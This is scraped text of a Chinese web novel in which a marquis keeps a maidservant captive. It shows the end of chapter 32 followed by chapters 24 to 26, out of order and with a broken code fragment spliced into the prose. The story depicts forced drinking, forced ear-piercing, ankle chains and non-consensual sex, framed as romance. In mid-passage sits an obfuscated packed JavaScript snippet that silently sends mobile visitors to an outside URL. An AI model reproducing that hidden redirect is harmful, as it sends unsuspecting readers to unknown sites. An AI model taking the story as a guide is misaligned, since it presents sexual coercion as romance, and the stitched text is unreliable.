“又想回去了?”裴铉扣住她的肩膀,“宁泠这张嘴,可真爱东诳西骗,不若我给你下一剂哑药,以后就清净了。” 宁泠害怕地抱住他,哭得泪眼婆娑:“我知道错了,我再也不敢了。” 裴铉心满意足地享受着她娇娇软软的身子,无意间嗅到花楼里浓妆艳抹的俗气。 他顺着她的怀抱,将她一把抱起。 厚实柔软的斗篷搭在她身上,接着向屋外走出,哪些胭脂味须得好好洗洗。 外面天寒雪大,宁泠一出门就被冻得在他怀里颤了下。 “你瞧外面冰天雪地的。”裴铉声音悦耳,还带着笑意,“还劳累我出门一趟,你倒好,躲在里面看歌舞。” 宁泠心里不爽,难道是她强迫他来的? 他在府邸好好待着,她在花楼也好好的,大家都舒服,不就好了。 可是宁泠不敢说出来,怕惹毛了他,在她怀里瓮声瓮气认错:“是宁泠不对,害的侯爷不得安宁。” 这句话听得还顺耳,裴铉追问道:“那你如何补偿我呢?” 宁泠心知回去身子清白必然保不住了,眼下只有低头服软,以后的日子才能好过点。 留得青山在不怕没柴烧。 她乖巧回话:“回去后,任凭侯爷处置。” 裴铉将她拥在身前,骑马回去。 宁泠看着越来越近的侯府,心里叹气。 外面风雪呼啸,怀里的宁泠心情沉重。 回了争晖院,裴铉就颇为嫌弃地将她扔在软榻上,命人伺候她沐浴。 珍珠见她回来喜极而泣,伺候她沐浴。 烟雾缭绕的浴室内,浴桶内铺满绚丽芬芳的花瓣。 看着腰细腿长,肌肤皓白如雪的宁泠,珍珠劝道:“姐姐,以后莫要如此了。” 侯爷的脾性古怪,谁也不知道他下一刻会干什么。 宁泠叹了声气:“下去吧,我自己洗洗。” 珍珠听话懂事,点点头出去了。 宁泠泡在温热的浴桶内,希望时间能够在这一刻永恒,她不想出去面对裴铉。 裴铉沐浴更衣出来后,发现宁泠还未出来。 他并不觉得奇怪,直接朝着浴室走来。 见到她洁白漂亮的脊背,完美无瑕,只是太瘦了,有些孱弱。 “还没泡够?”裴铉的指尖探进水里,“想再感染风寒?” 以为故技重施,就能躲过今天? 宁泠见她眼神危险,声线带着颤抖:“好了,我现在就起来穿衣。” “嗯。”不咸不淡的一声,人却依旧伫立在浴桶旁边。 宁泠心知今日躲不过了,贝齿将唇瓣咬的殷红。 哗啦的水声响起,水花四溅,宁泠站起身来,擦干披衣袍。 她清楚看见裴铉的眼神霎那间变了,眼眸深邃,压迫感十足。 裴铉并不着急,他有一整夜的时间,慢慢品味而不是狼吞虎咽。 穿好衣裙的宁泠,跟着他进了内室,红木桌上端正摆着一壶酒。 “酒回来了,你人却没回来。”裴铉指着酒,“你可是说了,我们要共饮此杯。” 宁泠刚想认错,忽地失去平衡,被他拉扯跌坐于他腿上。 裴铉慢饮一杯酒,接着捏着她小巧的下巴,吻了上去,长驱直入,甚是霸道。 32. 第 32 章 宁泠不曾饮过酒,被桂花酒的辛辣呛得直咳嗽,喉咙顿感火辣辣。 她无力地伏在他肩膀上,咳嗽过后,娇喘不停。 裴铉并不打算轻易放过她,待她稍稍呼吸平复后,又饮下一口酒。 温热的舌尖与冰凉的酒水紧紧缠住宁泠软软的香舌,桂花的甜腻萦绕口腔。 她想要反抗,双手四处乱抓。 裴铉一只有力的大手锁住她的双手,将她扣在背后,迫使着她挺腰抬胸。 另外一只手强势地扣住她的后脑勺,不许她有任何地退路。 如此反复几次,宁泠终于被迫饮尽此杯。 她不胜酒力,桃腮粉嫩,全身如玉的肌肤都染上一层樱花的粉色。 水润晕染在她鲜红的唇瓣,蛊惑人心。 她眼尾绯红,盈盈秋水的眼眸可怜兮兮地望着他。 “又开始装可怜?”裴铉的嗓音低沉。 “我真的再也不敢了。”宁泠乖顺答道:“其实我出去就后悔了。” 裴铉懒笑一声,“哦?那怎么还去花楼?” 哪里可是裴老狗的地盘,她还真是心大,不怕被人吃的骨头都没了。 “我想着回来,侯爷定会大发雷霆,吓得不敢回来。”宁泠道。 “你既害怕,看来是知道错了。”裴铉打开桌子上一个精致的木匣子,“你瞧可好看?” 宁泠侧目一看,花容失色。 木匣子里整整齐齐摆放着一对耳坠,上面是金丝编制,巧夺天工,下面坠着一颗炫目多姿的红宝石。 “宁泠,你怎么总是不长记性呢?”裴铉拿起一只耳坠,“耳眼刚愈合,你就好了伤疤忘了疼。” 他空出另外一只手,拿起银针,在上面浇上桂花酒,放在摇曳的烛火上炙烤 宁泠吓得想逃跑,裴铉早有察觉:“你若是敢跑,我就打断你的腿,反正侯府家大业大,养一个闲人不成问题。” 他俊脸笑着说出这话,宁泠却认为他真能做出来,倏地僵住,不敢动弹。 裴铉见她听话,眉眼都染上笑意。 她跑了,他心里怎么可能没有一点恼意。 尤其在听说她胆大包天,敢跑出花楼夜宿的时候,眼下不狠下心收拾她,以后还不知道怎么肆意妄为。 经历过一次穿耳后,裴铉已经很得心应手。 熟稔地捏着她小巧玲珑的耳坠,快速地穿过。 宁泠只感觉到像是蚂蚁啃咬的点点刺疼,接着重物一沉挂在她耳垂的感觉。 她忐忑不安地用手紧紧抓着他胸前的衣襟,裴铉看着她全心全意依赖他的模样,哄道:“不疼。” 其实疼痛感并不明显,可裴铉给她带来的侵略感极大,她本能地害怕畏惧。 另一只耳眼也很快穿好,一对夺目艳丽的耳坠挂在她耳垂上。 妖异的红色衬得她千娇百媚,云鬓花容。 裴铉直勾勾的危险眼神盯着她,宁泠不敢抬眼垂眸。 映入眼帘的是她曾见过的庞然大物,她惊恐、难以置信地看着裴铉。 不知它何时变成这样。 裴铉将跨.坐在他腿上的宁泠,搂腰抱起,她笔直的长腿缠在他劲道有力的腰上。 回到了床榻上,裴铉又拿起搁置在床位的银脚铐:“好看吗?” 宁泠吓得头皮发麻,吴侬软语撒娇:“这东西真吓人。” 裴铉不置可否,直接抓住她藏在裙下的脚踝,纤细光滑的脚踝很美。 “放心,你带上一定很美。”裴铉手指摸索着她的皮肤,接着带上脚铐。 脚铐通身是银制成,颜色淡雅,不知是用了什么特殊的工艺,宁泠带着却不觉得笨重,上面还精心雕刻了不少花纹,随着她动作,小巧的银链子碰撞间还会发出悦耳清脆的声音。 宁泠内心屈辱,他这般行为,和村庄里栓着守家的狗有甚区别? 她气的眼里泪光点点,桃腮鼓鼓。 “生气了?”裴铉揉揉她毛茸茸的脑袋。 他不嫌弃她已失清白,倒是她还嫌弃自己,逃之夭夭,如见洪水猛兽。 裴铉一摸自己,宁泠觉得她更像是没有尊严的狗了。 眼里蓄满的泪水决堤,哭的梨花带雨,好不可怜。 裴铉珍贵地捧起她的脸颊轻吻,他密密麻麻的吻落在她漂亮的脸庞,接着是唇畔,一路向下,甜腻的酒气冲的宁泠头脑发昏。 他强势惯了,柔情蜜水也只是片刻功夫。 不过将将安抚了他片刻,便长驱直入,直捣黄龙。 宁泠疼的汗水浸湿额间的碎发,拧眉嘤咛道:“慢些好不好,疼。” 隐隐约约的哭泣声传来,她不好受,裴铉也不好受。 他忍的额头冒汗,手背上青筋暴起,还是一鼓作气,长痛不如短痛。 宁泠痛到指甲紧紧掐在他肩上,裴铉感觉似乎冲破一层薄薄的阻碍。 他感觉不对劲地撤出一看,丝丝缕缕地鲜血沾染在上面。 空气也似有似无地有着血腥味。 他看着疼着蜷缩在床的宁泠,他记得她的葵水不是这几日。 一个念头瞬间闪现脑海中,她又骗他了。 但没有以往的勃然大怒,他欣喜若狂地将她抱在怀里,拨开遮住她眼眸的碎发。 “小骗子。”他嘴上温柔,身下却所向披靡。银链的撞击声响彻内室,叮叮当当地开始奏乐。 宁泠被他折腾到泣不成声、语不成调:“侯爷,你、你能不能把链子解开?” 听见这声侯爷,他不悦地长身一挺:“叫声裴哥哥,我就解开。” 宁泠难受地闷哼一声,难为情得别开脸。 可架不住他卖力折腾,最后还是断断续续娇声道:“裴、裴哥哥。” 裴铉看着乖顺的她,依言解开了脚铐。 裴铉折腾到后半夜,看着脱力虚弱的她,还是克制了自己。 风寒刚好,又在外奔波,他怕伤了根本。 他拉拽着床幔边上的红线,屋外的铃铛声响起。 外面的人早已准备妥当,热水花瓣等物一应齐全。 裴铉刚想叫珍珠进来,搀扶宁泠去沐浴。 就听见她嗓音沙哑:“我自己去。” 裴铉挑眉,怀疑般地上下打量她全身:“你能行?” 宁泠脸红地点点头,她浑身上下,尤其是锁骨、腰肢处都是他留下的痕迹,怎么见人? “害羞?”裴铉见她面红耳赤,逗弄道:“这有什么?丫鬟伺候着主子同.房都是常事。” 刚才她身子孱弱,屡屡无力趴.下,还是他拉着她。 他意有所指,宁泠懂他意思,还是拒绝:“不行了,我自己能行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980860|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她又算哪门子主子呢? 裴铉看着她犟劲又上头了,懒得和她争吵,不然她说不定又死活哭闹着要去浣衣局。 宁泠躺在床上缓了缓,接着起身,顿感全身酸软,腰肢无力。 她披了一件外衣下床,双腿一软,差点跪坐在地上,幸好及时扶住了床柱子。 裴铉双手抱胸,长腿交叠,面带冷笑倚靠在床背上看着她。 刚才娇娇柔柔,多听话乖巧,现在又是一身反骨了。 宁泠坐在浴桶里,看着自己满身的印记,这些都还好。 但身下的刺痛感却是时不时地传来。 不知是痛得,还是被抓后难过,宁泠一边洗澡,一边哭着。 她小声哭泣,捂住嘴唇,生怕惹来裴铉。他看见了估计又要想法子,折磨她。 片刻后,她哭的眼睛红肿,她止住哭泣。 她怕待久了裴铉又来寻她,起身系好衣裙。 宁泠也不敢再回内室,她实在是怕了裴铉的那东西。 她一个人偷偷摸摸地回了自己的偏房,倒头就睡。 裴铉在床塌上等了许久,都没见人影,起身去看她,发现浴室内没有她的身影。 猜测她已经回了偏房,冷哼一声回了屋。 他一人躺在榻上,总觉得少了什么,似乎是少了那清香可人的橘子味,又脑海里忽地想到刚才她里面的炙热湿润,只这一瞬间的念头,他就有了反应。 连忙止住念头,想着后日早朝,早儿先进宫和皇帝通个气。 翌日清晨,皇宫阔气的书房内,只裴铉和新皇两人。 “听闻堂兄,为了美人怒发冲冠,闯进了叔父的产业捣乱,他老人家可是昨儿连夜来求朕主持公道。”新皇笑着视线落在裴铉面上,“堂兄,可不像是色令智昏的人。” 裴铉神色恭敬:“做事总要事出有因,要找个筏子。微臣已经清查了盛安城内的各官员资产,不少人资产颇盛且来路不明,若是.....” 接下来他的话止住,两人都心照不宣。 宣帝爽朗一笑:“堂兄能力不容小觑啊,短短时间就能有所为了。” “还是要多谢陛下在前朝为臣挡住压力。”裴铉似乎面色苦恼,“这是接下来怎么做,却有些棘手了。” 要想获得宣帝的信任和重用,若没有本事能力,他看不上一个废物。 可若是什么都会,什么都比他这个皇帝想得还周全,那就太引人忌惮了,适当的藏拙是关键。 “近来进贡的贡品,无论是数量还是品质,都是一年不如一年了。”宣帝面色不虞,“甚至皇宫里没有的好东西,外面官员倒是私藏不少。” 自古以来,什么珍贵稀少之物,都是皇室独有。 他一个皇上没有,下面的官员倒是个个富得流油,也太不将他放在眼里了,刚好杀鸡儆猴。 裴铉沉思片刻后答道:“昨儿清查时,发现几家拍卖行行事鬼祟,说不定有猫腻。” 宣帝拍拍裴铉的肩膀:“你放心去查。” “是。”裴铉道。 想到刚才说的色令智昏,裴铉无奈一笑。他还真是有点,昨儿忙着玩乐,忘记和宁泠算账了。 他送她的金簪首饰等等,倒是大方慷慨地给妓.女。 小丫头还品性德行不好,教唆他人去偷路引。 24-30 第24章 第24章【VIP】 裴铉迟迟没有回话,过了会才嗤笑一声。 “她那番傲骨,真好多磨磨。” 他是权势皆有的侯爷,皇亲贵族,怎么可能像一个奴婢低头? 她若是肯求求他,他就勉强原谅她之前言行无状。 林韦德点头,侯爷这脾气那有愿意放下身段的时候。 过了半晌,又听见裴铉的声音,在安静的室内显得十分突兀。 “这府里的蛀虫太多了。”裴铉面色冷淡。 林韦德抬起眼眸看向裴铉,神情不解。 “每日府里开销大把大把的银子流水似的往外。”裴铉冷笑,“可也不知银子到达花哪儿,倒是个个管事的大腹便便,油腻得像头猪。” 林韦德不知裴铉怎么忽然说着这儿,又继续思考他说得管事的肥头大耳。 王管家长得清秀,像个读书人,并不肥。 林韦德的脑子转了许久,都没想到近日侯爷见了那个胖胖的管事。 一说到胖,林韦德忽然想到了宁泠。 刚才他也瞧见她了,整个人瘦了一大圈,骨瘦如柴。 只剩下一双大大的眼睛,脸蛋怕是一个巴掌都能全部遮住。 但是林韦德也不确定,试探性地问道:“灶房的油水最多,那里的管家个个都挺着大肚子,不如属下先从此地下手?” 裴铉点点头:“盘在侯府吸血,他们倒是想得美。” 林韦德心里纳闷,侯爷有话直说就是,干嘛如今弯 弯绕绕的。 以往对他都是有事直接吩咐。 宁泠回去的路上,思考着一直呆在浣衣局也不是长久之计。 之前她就想逃跑,可担心在争晖院里太难实施。 现在瞧着裴铉似乎对她颇为冷淡,可以寻找机会一试。 虽然没有什么很好的手艺生存,可也好过在浣衣局谋生。 见宁泠很快的回来,手上还提着东西。 柳姑姑扫视几眼:“衣裳都送妥当了?这是什么?” 宁泠不愿轻易得罪她,将食盒揭开:“这是熟人送我的点心,姑姑尝尝。” 柳姑姑不客气地掂起一块糕点,眯着眼看。 上面的花纹样式一瞧就知是好货。 柳姑姑暗自猜测莫非是林韦德给他的,她小口尝了下:“味道是极好的,是谁送的啊?” 宁泠:“就是以前相熟的小丫头。” 柳姑姑点点头,打算再观察几天。 天气越来越冷,到了快入冬的时候,人人都穿上了厚衣服。 吹风的时候,像是有把刀子刮在人脸上,顿疼顿疼的。 吃饭的时候,大家都围在木桌前,冷得跺脚哈气。 许多人手上的冻疮开始破口,看起来十分严重。 幸好禧福送来了药膏,宁泠每晚睡前都会擦药,现在双手虽然红肿粗糙,但没有长冻疮。 但是估计到了最寒冷的冬季就难说了。 宁泠低头暗自叹了口气。 巧儿不忿地瞥了她一眼,就宁泠每日洗得衣裳最少,她还叹气。 柳姑姑照旧来清点了人数,正打算走时,听到一道声音。 “柳姑姑,宁泠也来了这这么久了,什么东西也该熟悉了吧。”巧儿大声说着,“难不成要等以后来了新人,她才开始洗五桶衣裳?” 柳姑姑不悦地蹙起眉头。她如今虽然不打算护着宁泠了,可也不喜欢巧儿当众质疑她的决定。 她板着脸色,正要呵斥巧儿。 青枝小心翼翼附在她耳旁:“姑姑,最近私底下好多人也不满,找我闹了好几回了。” 柳姑姑看了眼宁泠,林韦德这么久也没来浣衣局,连半句话都没托人捎来,估计宁泠就是他那日顺路带过来的,与他没什么关系。 思及此,柳姑姑朝着宁泠道:“宁泠,你也到了这么久了,也应该和大家一样,都洗五桶衣裳,免得大家说我处事不公,有失偏颇。” 她这话说得有理有据,半分刁难之意也无。 宁泠站起来,点点头:“姑姑说得对,早些日子承蒙大家对我的照顾,如今也不好意思继续拖累大家伙。” 柳姑姑面上浮现出满意:“你如此懂事就好。那便从明日开始。” 巧儿本想再开口,见柳姑姑恶狠狠地瞪了她一眼,立刻闭嘴不言。 到了第二日,宁泠起的比旁人还早些,她知道自己干活手脚不够麻利。 笨鸟先飞的道理,她还是懂。 中午吃饭的时候,她一下察觉今日的伙食好了很多。菜色的新鲜程度提高了不少,瞧着也是油水充足,尤其里面还有不少肉,个个切成正方形,肥瘦相间,很是诱人。 众人口齿生津,议论纷纷,以往那有这种好日子,顶多也就是过年过节那几天。 连饭都是香喷喷的干白米饭,不是清汤寡水的白粥。 宁泠特意多撑了些下去,面色愁苦,也不知今日吃饱了,明日还有没? 说实话她对自己洗衣服的速度没有自信心。 到了晚上熄灯的时候,宁泠才洗了三桶半。 她没有完成洗五桶衣裳的任务,第二日一天都没有饭吃。 宁泠一个人坐在床边,蹙眉思考着这样下去可不行。 总不能每次五桶衣裳分两天洗完,这种事情一两次倒是还好。 可要是每每两天才能有一日吃饭,那可怎么行? 她无力地靠在床头,饥肠辘辘。 外面食物的香味通过窗户飘了近来,闻见后越发饿了。 肚子咕噜咕噜叫个不停。 到了下午时候,宁泠将五桶衣裳终于洗完。 她去向柳姑姑请示,能不能将明天的衣服先拿来。 柳姑姑疑惑着问她:“马上天就要黑了,你今日也洗不了几件了,这么着急干什么?” “虽然天黑了,瞧不见衣服洗干净没。”宁泠老老实实说说出自己的想法,“但是奴婢想着先洗个大概,明日再仔细重洗一遍。” 柳姑姑懂了她意思,晚上熬夜洗一遍衣裳,第二日再洗自然快得多。 她应允地点点头,这种小事她暂时没不要为难她。 伸手不见五指的晚上,宁泠一个人坐在庭院,她用力地使着棒槌在搓衣板上捶打衣裳。 一阵冷风吹来,她的牙齿上下开始抖动,整个人哆哆嗦嗦。 手指被冷水冻得僵硬,似乎都没有知觉了。 但是好在晚上打水的人很少,她不用花时间排队等打水。 所以洗衣服的时间节省了很多。 到了后半夜,她终于拖着疲惫的身体回去了。 倒头就睡,连窗户没关都没注意到。 连续几日下来,宁泠得了风寒,头重脚轻的感觉。 嗓子也是干疼干疼,感觉自己晕乎乎。 估计是第一日睡觉忘了关窗户,加上后半夜寒气重。 宁泠躺在床上想着,她打算今晚不洗衣裳了。 虽然明日的五桶肯定就洗不完了,后日就没有饭吃了。 可是她现在好像都感觉不到饱饿了,只想睡觉。 现在窗子已经关好了,但是冬日的寒风总能顺着窗缝里飘进来。 早晨众人起床的动静吵醒了宁泠,她强撑着身体起床去吃饭。 毕竟生病了不吃饭,肯定好得慢。 而且自己辛辛苦苦挣来的三餐,她也舍不得随意挥霍。 今日这一天宁泠勉勉强强才洗了两桶,她躺在床上时候,感觉自己冷得很,哪怕身子裹在被子里,整个人还是冻得瑟瑟发抖。 到了第二日,整个人一点反应都没。 大家都起床了,众人见她一点响动都没,以往她可从没这样。 有好心的去瞧了下,见她人陷在被子里,外面只露出一张小小的脸蛋。 脸蛋通红,上面布满湿汗。 那人伸手一摸,滚烫地厉害。 “她发高热来了。”她大喊一声。 众人包括她都通通散开,当奴婢的发了高热都是九死一生,全看命。 她们是奴婢中的奴婢,生病了可没有大夫和药。 全靠自己熬过去,小病小痛还好。 可一下发高热那就是凶多吉少。 而且高热会传染,前些年就有人得了高热,住在屋子里,结果一个大通铺死了好几个。 青枝得了消息,赶快通知柳姑姑:“姑姑,不如先挪到杂物房?” 以往发了高热的人都是单独挪到这儿。 但是杂物房四处透风,而且脏乱,那里是养病的好地方。 可浣衣局本就是罪奴待的地方,除了柳姑姑的屋子,那有什么好地方。 柳姑姑点点头:“去给她熬一副药,连人带药一起弄过去,是生是死就看她自己了。” 不是她心狠,是浣衣局的人都这么熬过来的。 青枝领命下去安排了。 由挨着宁泠睡的几人将她搬了进去,她们脸上带着面纱,熬了一碗药见她没醒,将药搁旁边便急急忙忙地跑了出去。 宁泠先是全身上下冷得厉害,像是骨头里散发出来的冷。 睡到后面,她又热得厉害,一身里衣都被汗浸湿了。 她迷迷糊糊地醒了,嗓子痛得厉害,干渴得很。 她脑袋发晕,捂着脑袋从床上起来,迷茫地看着周围的杂物,她躺在一张小小的木床上,身上是自己原来的被子,墙角结着蜘蛛网,地上的灰尘也很厚。 地上有一碗黑黝黝的中药,她费力地端起来,已经冰冷。 她一饮而尽,又浑浑噩噩地继续睡下。 柳姑姑想了想,人是林韦德 带进来的,不管有什么好歹总要支会他一声。 第25章 第25章【VIP】 柳姑姑将青枝唤了进来:“你去林大人那儿跑一趟,说宁泠发高热,估计不行了。” 青枝先是不可置信地睁大眼睛。 她真没想到原来柳姑姑厚待宁泠的原因在这。 “一定要当面原话传达。”柳姑姑语气加重,“少在我这儿耍什么心思,耽误了事情,小蹄子仔细你的贱皮。” 青枝的那些小心思,素日里她懒得理会,可不代表她会让她胡作非为,然后自己去顶罪。 青枝见姑姑态度如此严厉,立刻收了心里的小算盘。 林韦德刚开始听见有浣衣局的小丫鬟听见,先是面色微喜。 见到青枝后,他眉头蹙起,粗声粗气:“你是何人?找我什么事?” 林韦德本就长得穷凶极恶的面相,加上语气不善。 吓得青枝身体发颤回答:“柳姑姑派奴婢传话,说宁泠发了高热,眼下怕是不行了。” 说完话,她就赶紧溜了。 林韦德的眉头皱得更厉害了,快步走向争晖院。 他放轻脚步走至书房时,裴铉才下了早朝,坐在椅子上伏笔写着东西。 知道林韦德进来,他没有抬起头。 “侯爷,浣衣局人传话说,宁姑娘发了高热,若是持续下去人怕是不行了。”林韦德一五一十地如实禀报。 裴铉怔了怔抬起头,室内的气氛安静了下来。 “去外面找个大夫。”裴铉面色冷淡,“想办法将人弄醒,问问她还愿意滚回争晖院不?她愿意诚心认错,我便饶了她这次。” 以往她何曾吃过这种苦,如今也该知道留在他身边,锦衣玉食,人上人的日子是旁人求而不得的。 林韦德点点头。 侯爷对宁泠总是心软,要想将人弄醒,各种办法有得是,偏偏着急去找个大夫。 以对犯人用刑昏过去的人数不胜数,冬日一盆冷水泼下去,立刻就醒了。 可比大夫和吃药有用的多。 林韦德命手脚麻利的小厮去外面请了大夫,他带着人马不停蹄地去了浣衣局。 一敲门,里面的人立马就开了门,瞧着像是恭候多时。 柳姑姑腆着笑:“林大人来了,这是?” 跟在身后的大夫背着药箱,穿着明显不是府里的人。 “是外面请的大夫。”林韦德往门内瞥了一眼,“宁姑娘,人呢?” 柳姑姑顿时胆战心惊,生怕自己管事的位置被撸下去。 “宁姑娘发了高热,按照府里的规矩要单独隔开,大人请跟奴婢来。”柳姑姑向前带路。 林韦德跟着抬脚进入浣衣局,上次他只在外面驻留了片刻功夫。 今日进来才发现与外面如此不同,里面的湿气很重。 满院子哗啦哗啦流着水,外面的日光几乎照不进来,里面是乌泱泱的一片。 许多人身着灰色的旧袄子坐在小凳子上,努力洗着手上的衣服。 她们的手被冻得通红,身边还围绕着几桶旧衣服。 柳姑姑带着林韦德几人穿过院子,来到后院的杂物间。 她有些心虚,其实她没想到林韦德真会来,还带了大夫过来。 她以为林韦德那么多天不闻不管,就是不会再插手此事了。 最后她派青枝去通知,也只是为了有备无患。 柳姑姑推开门,屋内的灰尘被扬起。 林韦德的面色沉了下去,一双凶人的眼眸紧紧盯着柳姑姑。 柳姑姑赶紧解释:“浣衣局里的好地方少得可怜,空屋就只一间,这也是没有办法的事情。” 林韦德没有功夫在这听她絮絮叨叨,带着大夫快速进去了。 大夫是个已经上了年纪,胡须花白的人,对于这些小女娃之间的男女大防不太在乎。 林韦德只瞟了一眼,见宁泠满脸通红,头发随意地搭着脸周。 他就不敢再继续乱看,背过身来让大夫看病。 大夫先是把脉,接着摸摸额头,又捏开宁泠的嘴看了看舌头。 “姑娘是寒气入体,引发的高热。”大夫看完后回答,“加上她体虚,又耽搁些时日才会如此严重,先将高热退了才行。” 大夫打算写下药方,他左右环视房间一圈,都没看见合适的地方。 林韦德不悦地剜了柳姑姑一眼。 柳姑姑将人带到干净整洁的地方,大夫写完方子,叮嘱了注意事项后就离开了。 林韦德将药方递给小厮:“去抓药熬药,要快!” 说完后,他的视线又落在柳姑姑身上。 吓得柳姑姑浑身一颤,心里直喊冤,凭良心说,她真没有虐待为难宁泠,要为了这事怪罪她,真是天大的冤枉。 “不如将宁姑娘移到老奴的房屋。”柳姑姑说道。 这浣衣局最好的地方也只有她居住的地方了。 林韦德沉思了片刻,摇摇头:“暂时不要移动,你派几个小丫头好生伺候,她若是醒了立马通知我。” 柳姑姑连连点头,心里震惊,真没想到宁泠在林韦德这里如此受重视。 大概到了快午饭时辰,宁泠终于醒了。 她头还是晕得厉害,身上无力,但没有之前那么难受了。 旁边等着的青枝见她醒了,连喊道:“快去通知林大人和柳姑姑。” 旁边的小丫鬟得了话赶紧一路小跑。 宁泠脑袋还有点迷惑,她知道自己感染了风寒。 估计半夜发了高热,接着被移到了杂物间。 刚进府邸时,教导她们的姑姑就说过,发高热的人都会被单独隔离。 可是现在的林大人是怎么回事? 她想开口询问一下,一张嘴嗓子就干疼得厉害。 青枝见状,忙将准备好的温水递上。 宁泠狐疑地看了青枝一眼,还是接过来小口小口地喝着。 她喝完一杯水,嗓子终于没有之前那么难受了。 就听见外面的敲门声,“宁姑娘,是我。” 是林韦德的声音,青枝拿起旁边厚实的衣服帮着宁泠穿好,接着就去开门。 宁泠看着青枝这一套行云流水的动作,越发不解了。 青枝开了门后没再回来,屋内只有林韦德和宁泠两人。 “侯爷听说你病了,专程请的大夫。”林韦德努力将裴铉不入耳的话修饰下,“说你若愿意回争晖院,以往的就既往不咎了。” 虽然侯爷没有明说,但是林韦德认为大概就是这么个意思。 宁泠听了后低下头思考,说心里不动摇是假的。 在浣衣局天天辛苦劳作,还不能吃得饱穿得暖。 只要回了争晖院,这些问题全部就迎刃而解了。 可是真的只是回去这么简单吗? 宁泠抬起眼眸,打量着林韦德的神色,倏地笑了:“侯爷的原话不是这样吧?” 她还是有几分清清裴铉的脾性,他那里是肯低头的人。 以后回去了少不得讥讽嘲笑她,更免不了日日讨他欢心。 林韦德面色稍变:“无论如何,争晖院都比浣衣局好得多。” 宁泠的身子依旧虚弱,她靠在背后的软枕:“谢谢林大人的好意,只是更我愿意在浣衣局辛苦劳作换取吃食。” 也不愿意在争晖院以色侍人,依靠美色和身体去换取富裕生活。 后面的半句话她没说,但她猜测林韦德应该能懂。 林韦德见她心意已决,抬眼看了下她倔强的眼眸,只能无奈地离开。 等他走后,宁泠躺回被窝,将被子拉在头上。 她知道自己犯糊涂了,可是她咽不下那口气,明明错的不是自己,凭什么她要去服软低头。 哪怕现在死了,那也是清清白白。 若她真回了争晖院,成了裴铉的通房,以后她那里还有颜面下去见爹娘。 那有颜面告诉他们,自己贪生怕死,贪图荣华富贵,卖身求荣。 想着想着,思念亲人加上身体不适,宁泠的眼泪像断了线的珠子,一颗一颗不停地向下掉,不知不觉又睡着了。 林韦德前去复命时,心里低叹一声。 但还是咬着牙道:“宁姑娘说,她不愿意。” 他没想到宁泠会这么犟,但看见她不肯低头退一步时,他心里是有敬佩的。 不是每个人都可以不畏强权,坚持内心。 “呵。”上方只传来一道冷笑,裴铉伫立在窗前,修长的逗弄着一盆海棠花的花瓣,“她的骨头比监狱里的犯人还硬呐。” 林韦德察觉到他的心情不好,不敢接着说话。 “没事。”裴铉的手稍稍用力扯下花瓣丢在地上,“那是因为吃得苦还太少。” 浣衣局内,因着之前林韦德命令,柳姑姑还是派人伺候着宁泠。 中午林韦德走后,柳姑姑又命人喂她喝了药。 本以为她上午退了烧就没事了,可万万没想到才下午,就又开始发热,而且比上午更烫手。 柳姑姑马上派人又去通知林韦德。 林韦德接了消息,心里十分为难,不知是否该继续去请示。 上午明显侯爷是动气了,可是眼下这情况不说怎么行。 他想了想,还是决定如实禀报,他大不了就是挨骂受气罢了。 “侯爷,又来消息了。”林韦德转达,“下午又发了高热,说是比上午更来势汹汹。” “庸医。”裴铉骂道。 林韦德知道侯爷嫌弃他请的大夫医术不佳,但外面的大夫大多都医术普通。但凡有医术好的大夫那个不是被养在深门大户内,或是被召入皇宫。 “去拿我的对牌,去皇宫里请太医过来。”裴铉果断命令道。 林韦德难以置信地抬起头,宁泠不是死都不肯回来吗?侯爷又何苦如此费劲心思。 “蠢货。”裴铉脸上浮现笑意,“我是她的主子,凭什么她说不回来就不回来?” 她想以死明志,他偏要阻挠。 她想继续待在浣衣局,他偏要将她绑回争晖院。 她要为了别人守身如玉,那他偏要强占了她的身子。 第26章 第26章【VIP】 他裴铉什么时候是个舍己为人,成全他人的好人了? 思及此,裴铉的嘴角越发上扬。 一扫多日的阴霾,裴铉脸上挂着如浴春风的笑容 他径直朝着浣衣局的方向去了。 柳姑姑知道自己做的不令林韦德满意,这次特意站在浣衣局外等待。 远远看着有人来,瞧着却不像是林韦德的身形。 林韦德身形高大魁梧,身上的肌肉迸发。 来人虽然身量极高,却身形修长,远远看着背脊挺直,带着矜贵气质。 待到人走近了,她一瞧声线颤抖:“侯爷,您怎么来这了?” 裴铉眉头半挑:“咦,侯府那儿是本候去不得的?” 柳姑姑吓得跪地求饶:“老奴失言,请侯爷恕罪。” “宁泠在那?”裴铉懒得和她多费口舌,“带路。” 柳姑姑颤颤巍巍地爬了起来,心里越发震惊。 她本就奇怪,林韦德敢为了一个小小的奴婢,私自将府外的大夫带进来,不怕侯爷责罚吗? 她压根就没想到,原来林韦德是受侯爷命令行事。 乌糟糟的院子,众人之前看见林韦德虽有惊讶,可她们一直无命不得出入浣衣局,也不太清楚林韦德是谁? 可是裴铉,她们都是认识的。 罪奴进府邸第一天,管教她们的姑姑就教他们认了画像,免得连自己主子是谁都不知道。 众人的面色震惊,不敢抬头直视,个个低头视线跟随他的脚步。 裴铉的好心情从进了浣衣局后,慢慢地收了起来。 浓重的湿气,不见天日的日子。 接着柳姑姑小心翼翼地打开那间杂物间,幸好之前林韦德来过后,她就命人收拾整理了。 裴铉显然不太满意。 青枝看见来人顿时傻眼,傻愣愣地站在原地,连行礼都忘了。 “还不滚出去。”裴铉毫不客气命令道。 众人赶紧离开房间,轻手轻脚地关上门。 他走近床榻处,以往争强好胜的人此刻静悄悄地躺着,没有一丝响动。 裴铉走至塌边,瞧着宁泠面色通红,圆圆的眼眸紧闭。 一排浓密的睫毛一动不动,娇俏的鼻子,殷红诱人的嘴唇。 灶房被整治一番后,饭食本应变好才对,现在瘦骨嶙嶙,一阵风都能吹跑。 宁泠光洁的额头布满了细密的汗珠,嘴里似乎不太舒服地嘤咛着。 裴铉伸出手探了探她的额头,滚热烫手。 